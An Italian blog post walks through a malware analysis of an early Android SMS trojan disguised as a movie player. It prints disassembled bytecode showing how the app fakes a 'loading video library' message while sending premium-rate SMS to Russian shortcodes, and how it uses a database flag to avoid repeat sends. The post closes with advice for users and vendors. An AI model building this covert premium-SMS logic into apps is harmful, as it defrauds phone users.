Svelato il codice sorgente dell'sms trojan su android

 M0rF3uS
M0rF3uS
Svelato il codice sorgente dell'sms trojan su android

Da giorni si parla per la rete del primo trojan horse che ha infettato un sacco di telefoni android.

D'altronde è "normale" un evento del genere, android sta avendo una crescita esponenziale quindi è plausibile che questo faccia gola ad alcuni programmatori poco ortodossi, soprattutto perchè in ballo ci sono i soldi degli utenti finali.

Ma oggi non voglio parlarvi della notizia in se, quella già la sapete sicuramente, quello che voglio mostrarvi è il codice sorgente del software contenente il trojan, è incredibile constatare come il codice è poco più del classico programma d'esempio hello world distribuito con l'android SDK.

Jon Oberheide si è procurato appunto una copia di questa applicazione ed ha effettuato disassembling per capire il meccanismo del virus.

Package: RU.apk
Package Name: org.me.androidapplication1
Permissions Requested: android.permission.SEND_SMS
Contents:
    ./classes.dex
    ./res
    ./res/drawable
    ./res/drawable/icon.png
    ./res/layout
    ./res/layout/main.xml
    ./resources.arsc
    ./AndroidManifest.xml
    ./META-INF
    ./META-INF/MANIFEST.MF
    ./META-INF/CERT.RSA
    ./META-INF/CERT.SF

Jon dice che persino il file main.xml, che descrive il layout del pacchetto, contiene solo una TextView con scritto “Hello Android from NetBeans”.

Dando un occhiata alle classi disassemblate si vede che:

[000924] org.me.androidapplication1.MoviePlayer.onCreate:(Landroid/os/Bundle;)V
...
000c: invoke-virtual {v6}, Lorg/me/androidapplication1/DataHelper;.canwe:()Z
000f: move-result v2
0010: if-eqz v2, 0040 // +0030

Appena l'applicazione parte, viene subito chiamata la funzione DataHelper.canwe(), questa funzione serve al trojan horse per capire se in passato ha già effettuato l'invio di sms fraudolenti o meno, il trojan registra i suoi dati in un db sqlite chiamato "movieplayer.db" con una singola tabella "table1" ed una sola colonna "was". Se la funzione canwe() determina in base ai dati sul db, che il trojan ha già operato in passato, viene annullata l'operazione e si salta subito alla riga 0040 che invoca la funzione finish().

0012: new-instance v9, Landroid/widget/TextView; // class@000e
0014: invoke-direct {v9, v12}, Landroid/widget/TextView;.<init>
0017: const-string v8, "?????????, ????????????? ?????? ? ?????????.."
0019: invoke-virtual {v9, v8}, Landroid/widget/TextView;.setText
001c: invoke-virtual {v12, v9}, Lorg/me/androidapplication1/MoviePlayer;
.setContentView

Se invece il trojan "capisce" di non aver agito di recente, l'applicazione restituisce all'utente un pop-up con un messaggio in russo, che tradotto molto semplicemente significa "Richiesto l'accesso alla libreria video, attendere.."

001f: invoke-static {}, Landroid/telephony/SmsManager;.getDefault:()
0022: move-result-object v0
0023: const-string v1, "3353" // string@0001
0025: const-string v3, "798657" // string@0003
0027: const/4 v2, #int 0 // #0
0028: const/4 v4, #int 0 // #0
0029: const/4 v5, #int 0 // #0
002a: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;
.sendTextMessage

Mentre l'ignaro utente aspetta, invitato appunto dalla text-box, credendo che il movieplayer sta costruendo una libreria di video contenuti nel telefono, il trojan inizia a mandare SMS verso una numerazione premium di nazionalità russa, queste numerazioni premium alla fine vengono a costare molto più di un normale SMS all'utente finale.

Nella parte di codice qui sopra vediamo la numerazione alla stringa v1 mentre il contenuto dell'sms è rappresentato dalla stringa v3. Quindi in base al codice qui sopra il trojan invia un sms contenente "798657" alla numerazione "3353".

002d: const-string v1, "3354" // string@0002
002f: const/4 v2, #int 0 // #0
0030: const/4 v4, #int 0 // #0
0031: const/4 v5, #int 0 // #0
0032: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;
.sendTextMessage

Poi viene mandato un altro sms ma alla numerazione "3354"

0035: const-string v1, "3353" // string@0001
0037: const/4 v2, #int 0 // #0
0038: const/4 v4, #int 0 // #0
0039: const/4 v5, #int 0 // #0
003a: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;
.sendTextMessage

E giusto per sicurezza dopo manda un altro sms alla numerazione "3353"

003d: invoke-virtual {v6}, Lorg/me/androidapplication1/DataHelper;.was:()V
0040: invoke-virtual {v12}, Lorg/me/androidapplication1/MoviePlayer;.finish:()V
0043: return-void

Dopo che ha finito di fare la spesa il trojan inserisce un record con valore "was" dentro l'omonima colonna della tabella "table1" del db. Questo dice al trojan, nelle future esecuzioni, di non effettuare l'invio di altri SMS premium, per evitare di destare troppi sospetti.

Ma noi utenti italiani possiamo stare tranquilli, primo perchè l'applicazione è già scomparsa dal market, secondo perchè la numerazione per l'appunto, è Russa, ed i telefoni italiani non sono capaci di comunicare con quello shortcode per ovvi motivi [le numerazioni sono a carattere nazionale.]

Quindi in sostanza il tanto decantato trojan non è nulla di cosi grave, l'abbiamo visto è il classico hello world leggermente modificato, è totalmente inefficace per noi, ed in più non ha nessun tipo di codice maligno dal punto di vista della sicurezza, non trasforma il nostro telefono in bot comandabile da remoto, non esegue codice arbitrario sul sistema.

Ma è un ottimo avviso per gli utenti ed i vendor, il trojan è stato concepito come una frode, ed in quanto tale su parte degli utenti europei ha funzionato. Quindi come al solito noi utenti stiamo attenti [và che rima], se andando ad installare un mediaplayer vediamo che questo ci chiede di poter usare il GPS, o gli sms, o l'email o qualsiasi altro servizio che non serve ad un mediaplayer, qualche domanda facciamocela.

I vendor invece hanno un ottima occasione per studiare il codice di questi software malevoli ed architettare contromisure sempre più efficaci, e perchè no, anche per google stessa che magari dovrebbe effettuare un pò più di controlli su ciò che viene inserito all'interno dei suoi market.

[via IlPortalinux]